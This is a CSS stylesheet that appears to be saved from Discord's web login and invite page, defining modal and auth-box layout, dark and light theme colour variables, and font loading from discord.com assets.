.loading-Ags1CY { position: absolute; width: 100%; height: 100vh; background: var(--background-secondary); color: var(--text-normal); }

.modal-3c3bKg { position: fixed; top: 0px; left: 0px; user-select: none; height: 100%; width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; place-content: space-around center; -webkit-box-align: center; align-items: center; padding-top: 60px; padding-bottom: 60px; z-index: 1000; opacity: 0; pointer-events: none; box-sizing: border-box; }

@media (max-height: 600px) {
  .modal-3c3bKg { padding-top: 20px; padding-bottom: 20px; }
}

.inner-1ilYF7 { position: relative; pointer-events: auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.container-2hkaSU { overflow-wrap: break-word; }

.form-1PMiuD { height: 100%; }

.form-1PMiuD, .modalContent-xfrc3Q { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.modalContent-xfrc3Q { padding-top: 20px; padding-bottom: 20px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.content-1FN3fS { height: 100%; }

.minorContainer-3EC1M7 { -webkit-box-flex: 0; flex: 0 0 auto; margin-top: 8px; margin-bottom: -10px; width: 100%; cursor: pointer; }

.minorAction-Iz5Rd4 { text-align: center; opacity: 0.6; }

.minorAction-Iz5Rd4:hover { text-decoration: underline; }

.title-1mtWiB { margin-bottom: 4px; }

.description-1GYh2v, .title-1mtWiB { text-align: center; }

.primaryButton-HH12JP { -webkit-box-flex: 1; flex: 1 1 45%; }

.gutter-l_3zSu { margin-left: 10px; }

.hero-1WIzjS { margin-bottom: 20px; }

.app-1q1i1E, .mobileApp-13Vx-n { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; z-index: auto; }

.mobileApp-13Vx-n { overflow: auto; }

.modal-yWgWj- { border-radius: 5px; position: relative; display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.theme-dark .modal-yWgWj- { background-color: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-light .modal-yWgWj- { background: rgb(255, 255, 255); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.sizeSmall-1jtLQy { width: 440px; max-height: 660px; min-height: 200px; }

.sizeMedium-df47zS { width: 600px; max-height: 800px; min-height: 400px; }

.sizeLarge-2yOtf1 { min-width: 800px; max-width: 960px; min-height: 400px; }

@media (max-width: 485px) {
  .sizeLarge-2yOtf1, .sizeMedium-df47zS, .sizeSmall-1jtLQy { min-width: auto; width: 96%; align-self: center; max-height: 100vh; }
  .fullscreenOnMobile-1aglG_ { position: absolute; inset: 0px; width: 100%; border-radius: 0px; overflow-y: auto; }
  .fullscreenOnMobile-1aglG_ .footer-3rDWdC, .fullscreenOnMobile-1aglG_ .header-2tA9Os { border-radius: 0px; }
  .hideOnFullscreen-2tpqvf { display: none; }
}

.app-2rEoOp { position: absolute; inset: 0px; background-color: var(--background-tertiary); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.app-2rEoOp button { cursor: pointer; }

.layers-3q14ss { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; min-width: 0px; min-height: 0px; }

.art-RyCKMR { width: 220px; height: 110px; background-position: 50% center; background-repeat: no-repeat; background-size: contain; margin: 16px auto; }

.theme-dark .art-RyCKMR { background-image: url("https://discord.com/assets/f0fd53980da8cde41a97db3cf20de65d.svg"); }

.theme-light .art-RyCKMR { background-image: url("https://discord.com/assets/cbaf9a2a8548c4aae2fc177de072d5d2.svg"); }

a, abbr, acronym, address, applet, big, blockquote, body, caption, cite, code, dd, del, dfn, div, dl, dt, em, fieldset, form, h1, h2, h3, h4, h5, h6, html, iframe, img, ins, kbd, label, legend, li, object, ol, p, pre, q, s, samp, small, span, strike, strong, table, tbody, td, tfoot, th, thead, tr, tt, ul, var { margin: 0px; padding: 0px; border: 0px; font-weight: inherit; font-style: inherit; font-family: inherit; font-size: 100%; vertical-align: baseline; }

a { color: var(--text-link); text-decoration: none; cursor: pointer; }

a img { border: none; }

body { line-height: 1; margin: 0px; padding: 0px; font-family: var(--font-primary); overflow: hidden; user-select: none; background: transparent; }

p { margin: 14px 0px; }

ol, ul { list-style: none; }

::-webkit-input-placeholder, input, select, textarea { font-family: var(--font-primary); font-weight: 400; }

::placeholder, input, select, textarea { font-family: var(--font-primary); font-weight: 400; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light ::-webkit-input-placeholder, .theme-light input, .theme-light select, .theme-light textarea { font-weight: 500; }
  .theme-light ::placeholder, .theme-light input, .theme-light select, .theme-light textarea { font-weight: 500; }
}

strong { font-weight: 600; }

button { font-family: var(--font-primary); font-weight: 500; border: 0px; cursor: pointer; }

code { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 14px; line-height: 16px; }

:root { --font-primary:Whitney,"Helvetica Neue",Helvetica,Arial,sans-serif; --font-display:Ginto,"Helvetica Neue",Helvetica,Arial,sans-serif; --font-code:Consolas,"Andale Mono WT","Andale Mono","Lucida Console","Lucida Sans Typewriter","DejaVu Sans Mono","Bitstream Vera Sans Mono","Liberation Mono","Nimbus Mono L",Monaco,"Courier New",Courier,monospace; --font-headline:Ginto Nord,Ginto,"Helvetica Neue",Helvetica,Arial,sans-serif; --font-korean:Whitney,"Apple SD Gothic Neo","NanumBarunGothic","맑은  고딕","Malgun Gothic",Gulim,굴림,Dotum,돋움,"Helvetica Neue",Helvetica,Arial,sans-serif; --font-japanese:Whitney,Hiragino Sans,"ヒラギノ角ゴ  ProN W3","Hiragino Kaku Gothic ProN","メイリオ",Meiryo,Osaka,"MS PGothic","Helvetica Neue",Helvetica,Arial,sans-serif; --font-chinese-simplified:Whitney,"Microsoft YaHei New",微软雅黑,"Microsoft Yahei","Microsoft JhengHei",宋体,SimSun,"Helvetica Neue",Helvetica,Arial,sans-serif; --font-chinese-traditional:Whitney,"Microsoft JhengHei",微軟正黑體,"Microsoft JhengHei UI","Microsoft YaHei",微軟雅黑,宋体,SimSun,"Helvetica Neue",Helvetica,Arial,sans-serif; }

@font-face { font-family: Whitney; font-weight: 300; src: url("https://discord.com/assets/6c6374bad0b0b6d204d8d6dc4a18d820.woff") format("woff"); }

@font-face { font-family: Whitney; font-weight: 400; src: url("https://discord.com/assets/e8acd7d9bf6207f99350ca9f9e23b168.woff") format("woff"); }

@font-face { font-family: Whitney; font-weight: 500; src: url("https://discord.com/assets/3bdef1251a424500c1b3a78dea9b7e57.woff") format("woff"); }

@font-face { font-family: Whitney; font-weight: 600; src: url("https://discord.com/assets/be0060dafb7a0e31d2a1ca17c0708636.woff") format("woff"); }

@font-face { font-family: Whitney; font-weight: 700; src: url("https://discord.com/assets/8e12fb4f14d9c4592eb8ec9f22337b04.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 300; src: url("https://discord.com/assets/148d0f25ba9c02a9190be23e882c7f87.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 400; src: url("https://discord.com/assets/32c4f766e4892c054dfd367dbe0fc6dc.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 500; src: url("https://discord.com/assets/32c4f766e4892c054dfd367dbe0fc6dc.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 600; src: url("https://discord.com/assets/88055567e3d928bcb1e67e967081572e.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 700; src: url("https://discord.com/assets/746a4f241e03deffc59b08c5650cf458.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 300; font-style: italic; src: url("https://discord.com/assets/26ec135289ee1c4e5439e30fa7d771b0.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 400; font-style: italic; src: url("https://discord.com/assets/7a504226cbb79a1a6990a72266007030.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 500; font-style: italic; src: url("https://discord.com/assets/7a504226cbb79a1a6990a72266007030.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 600; font-style: italic; src: url("https://discord.com/assets/4ea3faef5f6c0c74eb4d5e1a4a5de0b4.woff") format("woff"); }

@font-face { font-family: Ginto; font-weight: 700; font-style: italic; src: url("https://discord.com/assets/09788e4fa057f2e0067e13209e56c8a7.woff") format("woff"); }

@font-face { font-family: "Ginto Nord"; font-weight: 500; src: url("https://discord.com/assets/64f5045e7c47202da327cadef3c611d1.woff2") format("woff2"), url("https://discord.com/assets/e4308d367bcb6c91660d8618148e307d.woff") format("woff"); }

@font-face { font-family: "Ginto Nord"; font-weight: 600; src: url("https://discord.com/assets/37342aa4e66eb4137df0c8921e3853f0.woff2") format("woff2"), url("https://discord.com/assets/9d099dc8ec6264f00561648293f3d4b9.woff") format("woff"); }

@font-face { font-family: "Ginto Nord"; font-weight: 700; src: url("https://discord.com/assets/ae7c84783ad48b6d1c8e2bfbe707e0d4.woff2") format("woff2"), url("https://discord.com/assets/92e32db984c8577d8b81548b43b9c061.woff") format("woff"); }

.theme-dark { --header-primary:#fff; --header-secondary:#b9bbbe; --text-normal:#dcddde; --text-muted:#72767d; --text-link:hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); --text-link-low-saturation:hsl(197,calc(var(--saturation-factor, 1)*100%),52.9%); --text-positive:hsl(139,calc(var(--saturation-factor, 1)*66.8%),58.6%); --text-warning:hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); --text-danger:hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); --text-brand:hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); --interactive-normal:#b9bbbe; --interactive-hover:#dcddde; --interactive-active:#fff; --interactive-muted:#4f545c; --background-primary:#36393f; --background-secondary:#2f3136; --background-secondary-alt:#292b2f; --background-tertiary:#202225; --background-accent:#4f545c; --background-floating:#18191c; --background-nested-floating:#2f3136; --background-mobile-primary:#36393f; --background-mobile-secondary:#2f3136; --background-modifier-hover:rgba(79,84,92,0.16); --background-modifier-active:rgba(79,84,92,0.24); --background-modifier-selected:rgba(79,84,92,0.32); --background-modifier-accent:hsla(0,0%,100%,0.06); --info-positive-text:#fff; --info-warning-text:#fff; --info-danger-text:#fff; --info-help-background:hsla(197,calc(var(--saturation-factor, 1)*100%),47.8%,0.1); --info-help-foreground:hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); --info-help-text:#fff; --status-warning-text:#000; --scrollbar-thin-thumb:#202225; --scrollbar-thin-track:transparent; --scrollbar-auto-thumb:#202225; --scrollbar-auto-track:hsl(210,calc(var(--saturation-factor, 1)*9.8%),20%); --scrollbar-auto-scrollbar-color-thumb:#202225; --scrollbar-auto-scrollbar-color-track:#2f3136; --elevation-stroke:0 0 0 1px rgba(4,4,5,0.15); --elevation-low:0 1px 0 rgba(4,4,5,0.2),0 1.5px 0 rgba(6,6,7,0.05),0 2px 0 rgba(4,4,5,0.05); --elevation-medium:0 4px 4px rgba(0,0,0,0.16); --elevation-high:0 8px 16px rgba(0,0,0,0.24); --logo-primary:#fff; --control-brand-foreground:hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); --control-brand-foreground-new:hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); --background-mentioned:hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.1); --background-mentioned-hover:hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.08); --background-message-hover:rgba(4,4,5,0.07); --channels-default:#8e9297; --guild-header-text-shadow:0 1px 1px rgba(0,0,0,0.4); --channeltextarea-background:#40444b; --activity-card-background:#202225; --textbox-markdown-syntax:#8e9297; --deprecated-card-bg:rgba(32,34,37,0.6); --deprecated-card-editable-bg:rgba(32,34,37,0.3); --deprecated-store-bg:#36393f; --deprecated-quickswitcher-input-background:#72767d; --deprecated-quickswitcher-input-placeholder:hsla(0,0%,100%,0.3); --deprecated-text-input-bg:rgba(0,0,0,0.1); --deprecated-text-input-border:rgba(0,0,0,0.3); --deprecated-text-input-border-hover:#040405; --deprecated-text-input-border-disabled:#202225; --deprecated-text-input-prefix:#dcddde; }

.theme-dark, .theme-light { --info-positive-background:hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.1); --info-positive-foreground:hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); --info-warning-background:hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.1); --info-warning-foreground:hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); --info-danger-background:hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.1); --info-danger-foreground:hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); --status-positive-background:hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); --status-positive-text:#fff; --status-warning-background:hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); --status-danger-background:hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); --status-danger-text:#fff; --focus-primary:hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); }

.theme-light { --header-primary:#060607; --header-secondary:#4f5660; --text-normal:#2e3338; --text-muted:#747f8d; --text-link:hsl(212,calc(var(--saturation-factor, 1)*100%),43.9%); --text-link-low-saturation:hsl(212,calc(var(--saturation-factor, 1)*100%),43.9%); --text-positive:hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); --text-warning:hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); --text-danger:hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); --text-brand:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --interactive-normal:#4f5660; --interactive-hover:#2e3338; --interactive-active:#060607; --interactive-muted:#c7ccd1; --background-primary:#fff; --background-secondary:#f2f3f5; --background-secondary-alt:#ebedef; --background-tertiary:#e3e5e8; --background-accent:#747f8d; --background-floating:#fff; --background-nested-floating:#fff; --background-mobile-primary:#f8f9f9; --background-mobile-secondary:#fff; --background-modifier-hover:rgba(116,127,141,0.08); --background-modifier-active:rgba(116,127,141,0.16); --background-modifier-selected:rgba(116,127,141,0.24); --background-modifier-accent:rgba(6,6,7,0.08); --info-positive-text:#000; --info-warning-text:#000; --info-danger-text:#000; --info-help-background:hsla(212,calc(var(--saturation-factor, 1)*100%),43.9%,0.1); --info-help-foreground:hsl(212,calc(var(--saturation-factor, 1)*100%),43.9%); --info-help-text:#000; --status-warning-text:#fff; --scrollbar-thin-thumb:rgba(79,84,92,0.3); --scrollbar-thin-track:transparent; --scrollbar-auto-thumb:#ccc; --scrollbar-auto-track:#f2f2f2; --scrollbar-auto-scrollbar-color-thumb:#e3e5e8; --scrollbar-auto-scrollbar-color-track:#f2f3f5; --elevation-stroke:0 0 0 1px rgba(6,6,7,0.08); --elevation-low:0 1px 0 rgba(6,6,7,0.1),0 1.5px 0 rgba(6,6,7,0.025),0 2px 0 rgba(6,6,7,0.025); --elevation-medium:0 4px 4px rgba(0,0,0,0.08); --elevation-high:0 8px 16px rgba(0,0,0,0.16); --logo-primary:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --control-brand-foreground:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --control-brand-foreground-new:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --background-mentioned:hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.1); --background-mentioned-hover:hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.2); --background-message-hover:rgba(6,6,7,0.02); --channels-default:#6a7480; --guild-header-text-shadow:0 1px 1px hsla(0,0%,100%,0.4); --channeltextarea-background:#ebedef; --activity-card-background:#fff; --textbox-markdown-syntax:#6a7480; --deprecated-card-bg:#f8f9f9; --deprecated-card-editable-bg:rgba(246,246,247,0.6); --deprecated-store-bg:#f8f9f9; --deprecated-quickswitcher-input-background:#fff; --deprecated-quickswitcher-input-placeholder:rgba(79,84,92,0.3); --deprecated-text-input-bg:rgba(79,84,92,0.02); --deprecated-text-input-border:rgba(79,84,92,0.3); --deprecated-text-input-border-hover:#b9bbbe; --deprecated-text-input-border-disabled:#dcddde; --deprecated-text-input-prefix:#b9bbbe; }

.appMount-3lHmkl, body, html { height: 100%; width: 100%; }

.appMount-3lHmkl { position: absolute; overflow: hidden; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.appMount-3lHmkl, body { background-color: var(--background-tertiary); text-rendering: optimizelegibility; }

.overlay .appMount-3lHmkl, .overlay body { background: transparent; }

::-webkit-input-placeholder, body, button, input, select, textarea { font-family: var(--font-primary); text-rendering: optimizelegibility; }

::placeholder, body, button, input, select, textarea { font-family: var(--font-primary); text-rendering: optimizelegibility; }

html:lang(ja) ::-webkit-input-placeholder, html:lang(ja) body, html:lang(ja) button, html:lang(ja) input, html:lang(ja) select, html:lang(ja) textarea, html:lang(ja-JP) ::-webkit-input-placeholder, html:lang(ja-JP) body, html:lang(ja-JP) button, html:lang(ja-JP) input, html:lang(ja-JP) select, html:lang(ja-JP) textarea { font-family: var(--font-japanese); }

html:lang(ja) ::placeholder, html:lang(ja) body, html:lang(ja) button, html:lang(ja) input, html:lang(ja) select, html:lang(ja) textarea, html:lang(ja-JP) ::placeholder, html:lang(ja-JP) body, html:lang(ja-JP) button, html:lang(ja-JP) input, html:lang(ja-JP) select, html:lang(ja-JP) textarea { font-family: var(--font-japanese); }

html:lang(ko) ::-webkit-input-placeholder, html:lang(ko) body, html:lang(ko) button, html:lang(ko) input, html:lang(ko) select, html:lang(ko) textarea { font-family: var(--font-korean); }

html:lang(ko) ::placeholder, html:lang(ko) body, html:lang(ko) button, html:lang(ko) input, html:lang(ko) select, html:lang(ko) textarea { font-family: var(--font-korean); }

html:lang(zh-CN) ::-webkit-input-placeholder, html:lang(zh-CN) body, html:lang(zh-CN) button, html:lang(zh-CN) input, html:lang(zh-CN) select, html:lang(zh-CN) textarea { font-family: var(--font-chinese-simplified); }

html:lang(zh-CN) ::placeholder, html:lang(zh-CN) body, html:lang(zh-CN) button, html:lang(zh-CN) input, html:lang(zh-CN) select, html:lang(zh-CN) textarea { font-family: var(--font-chinese-simplified); }

html:lang(zh-HK) ::-webkit-input-placeholder, html:lang(zh-HK) body, html:lang(zh-HK) button, html:lang(zh-HK) input, html:lang(zh-HK) select, html:lang(zh-HK) textarea, html:lang(zh-TW) ::-webkit-input-placeholder, html:lang(zh-TW) body, html:lang(zh-TW) button, html:lang(zh-TW) input, html:lang(zh-TW) select, html:lang(zh-TW) textarea { font-family: var(--font-chinese-traditional); }

html:lang(zh-HK) ::placeholder, html:lang(zh-HK) body, html:lang(zh-HK) button, html:lang(zh-HK) input, html:lang(zh-HK) select, html:lang(zh-HK) textarea, html:lang(zh-TW) ::placeholder, html:lang(zh-TW) body, html:lang(zh-TW) button, html:lang(zh-TW) input, html:lang(zh-TW) select, html:lang(zh-TW) textarea { font-family: var(--font-chinese-traditional); }

a, button, div, input, label, select, span, strong, textarea { outline: 0px; }

img[alt] { text-indent: -9999px; }

.wrapper-6URcxg { width: 100%; height: 100%; }

@media (min-width: 486px) {
  .wrapper-6URcxg { position: absolute; top: 0px; left: 0px; min-height: 580px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }
}

.platform-osx .wrapper-6URcxg::before { content: ""; position: fixed; top: 0px; left: 0px; right: 0px; height: 32px; z-index: 1; -webkit-app-region: drag; }

.platform-osx .splashBackground-1FRCko::before { content: ""; position: fixed; top: 0px; left: 0px; right: 0px; height: 32px; z-index: 1; -webkit-app-region: drag; }

.platform-win .splashBackground-1FRCko::before { content: ""; position: fixed; top: 0px; right: 0px; width: 84px; height: 22px; background: rgba(0, 0, 0, 0.3); border-bottom-left-radius: 3px; z-index: 1; transition: background 0.4s ease 0.4s; }

.platform-win .theme-dark .splashBackground-1FRCko.loggingIn-3Hi-BU::before, .platform-win .theme-light .splashBackground-1FRCko.loggingIn-3Hi-BU::before { background: transparent; }

.characterBackground-2itjYF { position: relative; width: 100vw; min-height: 100vh; overflow: auto; }

.characterBackground-2itjYF .artwork-1adZW0 { position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; }

.characterBackground-2itjYF .logo-1-AbdC { display: block; }

.characterBackground-2itjYF .logo-1-AbdC, .splashBackground-1FRCko .logo-1-AbdC { position: fixed; top: 24px; left: 50%; margin-left: -65px; margin-top: 0px; }

@media (min-width: 830px) {
  .characterBackground-2itjYF .logo-1-AbdC { top: 53px; left: 48px; margin: 0px; }
  .splashBackground-1FRCko .logo-1-AbdC { position: fixed; top: 24px; left: 24px; margin: 0px; }
  .platform-osx .splashBackground-1FRCko .logo-1-AbdC { top: 40px; }
}

.spacer-2b8O1V { width: 8px; }

.input-3yHnCz { width: 44px; height: 44px; border-radius: 5px; box-sizing: border-box; border: none; font-size: 17px; text-align: center; margin-left: 4px; margin-right: 4px; }

.theme-light .input-3yHnCz { background-color: hsl(216,calc(var(--saturation-factor, 1)*9.8%),90%); color: rgb(54, 57, 63); }

.theme-dark .input-3yHnCz { background-color: rgb(79, 84, 92); color: rgb(246, 246, 247); }

.authBox-hW6HRx { width: 480px; padding: 32px; font-size: 18px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; border-radius: 5px; box-sizing: border-box; }

.authBox-hW6HRx a { color: var(--text-link); }

.authBox-hW6HRx a:hover { text-decoration: underline; }

.authBoxExpanded-2jqaBe { width: 784px; }

.centeringWrapper-2Rs1dR { width: 100%; text-align: center; }

.avatar-1gWJaf { margin-bottom: 24px; }

@media (max-width: 485px) {
  .authBox-hW6HRx { position: absolute; inset: 0px; padding: 70px 16px 40px; width: 100%; height: 100%; min-height: 500px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background: linear-gradient(to left bottom, rgb(61, 64, 70), rgb(30, 30, 35)); border-radius: 0px; overflow: scroll; }
  .authBox-hW6HRx::before { content: ""; position: absolute; top: 20px; height: 36px; width: 112px; background: url("https://discord.com/assets/22fd790491653d837422d80e3500cf92.svg") no-repeat; }
  @media (max-width: 830px) {
  .authBox-hW6HRx.authBoxExpanded-2jqaBe { max-width: unset; }
}
  .authBox-hW6HRx .centeringWrapper-2Rs1dR { position: relative; min-height: 540px; }
}

@media (max-width: 830px) {
  .authBoxExpanded-2jqaBe { max-width: 480px; }
}

.is-mobile .authBox-hW6HRx { position: absolute; inset: 0px; padding: 70px 16px 20px; width: 100%; height: 100%; min-height: 500px; display: flex; -webkit-box-pack: center; justify-content: center; background: linear-gradient(to left bottom, rgb(61, 64, 70), rgb(30, 30, 35)); border-radius: 0px; overflow: scroll; }

.is-mobile .authBox-hW6HRx::before { content: ""; position: absolute; top: 20px; height: 36px; width: 112px; background: url("https://discord.com/assets/22fd790491653d837422d80e3500cf92.svg") no-repeat; }

@media (max-width: 830px) {
  .is-mobile .authBox-hW6HRx.authBoxExpanded-2jqaBe { max-width: unset; }
}

.is-mobile .authBox-hW6HRx .centeringWrapper-2Rs1dR { position: relative; min-height: 540px; }

.theme-light.authBox-hW6HRx { color: rgb(116, 127, 141); background: rgb(248, 249, 249); }

.theme-light.authBox-hW6HRx::before { background: url("https://discord.com/assets/fcd92bc77a099db37095457dd4dd2eec.svg") no-repeat; width: 130px; }

.theme-dark.authBox-hW6HRx { color: rgb(114, 118, 125); background: var(--background-mobile-primary); }

.theme-dark.authBox-hW6HRx::before { background: url("https://discord.com/assets/22fd790491653d837422d80e3500cf92.svg") no-repeat; width: 130px; }

.title-jXR8lp { font-weight: 600; }

.subText-1XkjIB { color: var(--text-muted); }

.subText-1XkjIB strong { color: rgba(185, 187, 190, 0.9); font-weight: 600; }

.pill-1dHPfk { display: flex; -webkit-box-align: center; align-items: center; }

.pillOnline-35Y-7N { margin-right: 16px; }

.pillMessage-1btqlx { font-size: 14px; white-space: nowrap; color: var(--header-secondary); }

@media (min-height: 640px) {
  .pillMessage-1btqlx { font-size: 16px; }
}

.pillIcon-BaqtHs { display: inline-block; width: 10px; height: 10px; border-radius: 50%; margin-right: 4px; }

.pillIconTotal-1BqTcA { background-color: var(--header-secondary); }

.pillIconOnline-2JGlqR { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.pillFlat-1xkgQH { background: transparent; }

.pillFlat-1xkgQH .pillIconTotal-1BqTcA { background-color: var(--text-muted); }

.joiningAs-3CxpMg { margin-top: 20px; height: 100%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.joiningAsAvatar-1yJFUx { margin-left: 14px; }

.joiningAsUsername-rBrMri { margin-left: 5px; }

.spinnerVideo-4cbMvj { width: 200px; height: 200px; }

.spinnerText-lNRnYJ { font-weight: 500; font-size: 16px; font-style: italic; color: rgb(255, 255, 255); }

.image-2dZWJQ { width: 100%; max-width: 186px; height: auto; max-height: 120px; pointer-events: none; }

.block-egJnc0 { width: 100%; text-align: left; }

.button-3k0cO7 { font-size: 16px; line-height: 24px; }

.linkButton-wzh5kV { display: block; padding-left: 0px; padding-right: 0px; }

.inviteIcon-DSd8cG { display: inline-flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.inviteLargeIcon-HrAH61 { margin-right: 0px; }

.inviteSmallIcon-1-yydW { margin-right: 8px; margin-top: 0px; flex-shrink: 0; }

.downloadButtonSubtext-2DRDta { margin-top: 8px; text-align: center; }

.inputError-1PrjdI, .inputError-1PrjdI:focus, .inputError-1PrjdI:hover { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.authBoxWithMobileBanner-1Iy9y7 { position: relative; box-sizing: border-box; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; text-align: center; padding: 0px 16px 40px; height: 100vh; overflow: auto; }

.theme-dark .authBoxWithMobileBanner-1Iy9y7, .theme-light .authBoxWithMobileBanner-1Iy9y7 { color: rgb(114, 118, 125); background: rgb(54, 57, 63); }

.mobileBannerLogo-2Kb4rf { position: absolute; top: 20px; height: 36px; width: 112px; background: url("https://discord.com/assets/22fd790491653d837422d80e3500cf92.svg") no-repeat; }

.mobileBanner-3st25I { flex-shrink: 0; width: calc(100% + 32px); margin: 0px -16px -32px; max-height: 100px; overflow: hidden; }

.mobileBanner-3st25I img { width: 100%; }

@media (min-height: 720px) {
  .mobileBanner-3st25I { margin-bottom: -50px; max-height: none; }
}

.description-3iuMrd { margin-top: 8px; font-size: 12px; }

.footer-R83Ab3 { padding: 20px 32px; margin: 0px -32px -32px; border-radius: 0px 0px 5px 5px; }

@media (max-width: 485px) {
  .footer-R83Ab3 { margin: 0px; }
}

.theme-dark .footer-R83Ab3 { background-color: rgb(47, 49, 54); box-shadow: rgba(47, 49, 54, 0.6) 0px 1px 0px inset; }

@media (max-width: 485px) {
  .theme-dark .footer-R83Ab3 { background-color: transparent; box-shadow: none; }
}

.theme-light .footer-R83Ab3 { background-color: rgb(220, 221, 222); box-shadow: rgba(220, 221, 222, 0.6) 0px 1px 0px inset; }

@media (max-width: 485px) {
  .theme-light .footer-R83Ab3 { background-color: transparent; box-shadow: none; }
}

.error-36J3A_ { margin-top: 8px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.subTitle-1-bIFL { margin-bottom: 24px; }

.button-3xPjNA { margin-top: 24px; }

.theme-dark .codeInput-2cYD0k, .theme-light .codeInput-2cYD0k { background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); }

.theme-dark .codeInput-2cYD0k:focus, .theme-light .codeInput-2cYD0k:focus { border: 1px solid var(--brand-experiment); }

.avatar-1Mj8bY, .guildIcon-1k02sK { margin-bottom: 20px; }

.container-QZKkpR { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; }

.title-10HEtO { margin-top: 2px; color: var(--header-primary); font-size: 24px; font-weight: 600; line-height: 30px; }

.subtitle-1izn1t { font-size: 16px; line-height: 20px; text-align: center; }

.subtitle-1izn1t strong { color: var(--header-primary); }

.userText-53oh7E { word-break: break-word; }

.templateIcon-3f-SZb { vertical-align: middle; }

.templateIcon-3f-SZb, .usagePill-2WGS4A { color: var(--header-secondary); }

.usagePill-2WGS4A { background-color: var(--background-secondary); border-radius: 16px; font-size: 14px; padding: 8px 16px; margin-top: 16px; }

.verifiedIcon-2zGt44, .verifiedNameContainer-HWD4YK { display: inline-block; }

.verifiedIcon-2zGt44 { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); margin: -8px 4px 0px 2px; top: 3px; }

.verifiedCheckContainer-3VSuK8 { position: relative; top: 1px; }

.verifiedCheck-2Ze-9s { color: rgb(255, 255, 255); }

.image-1ecFZy { margin-bottom: 16px; border-radius: 8px; width: 100%; }

.header-a5HgW3 { margin-bottom: 8px; }

.usagePill-_nSrnP { background-color: var(--background-primary); display: inline-block; }

.menu-3sdvDG { position: relative; z-index: 1; box-sizing: border-box; display: flex; height: auto; cursor: default; max-height: calc(100vh - 32px); box-shadow: var(--elevation-high); background: var(--background-floating); border-radius: 4px; }

.scroller-3BxosC { padding: 6px 8px; }

.styleFixed-sX-yHV { width: 220px; }

.styleFlexible-wGDiIL { min-width: 188px; max-width: 320px; }

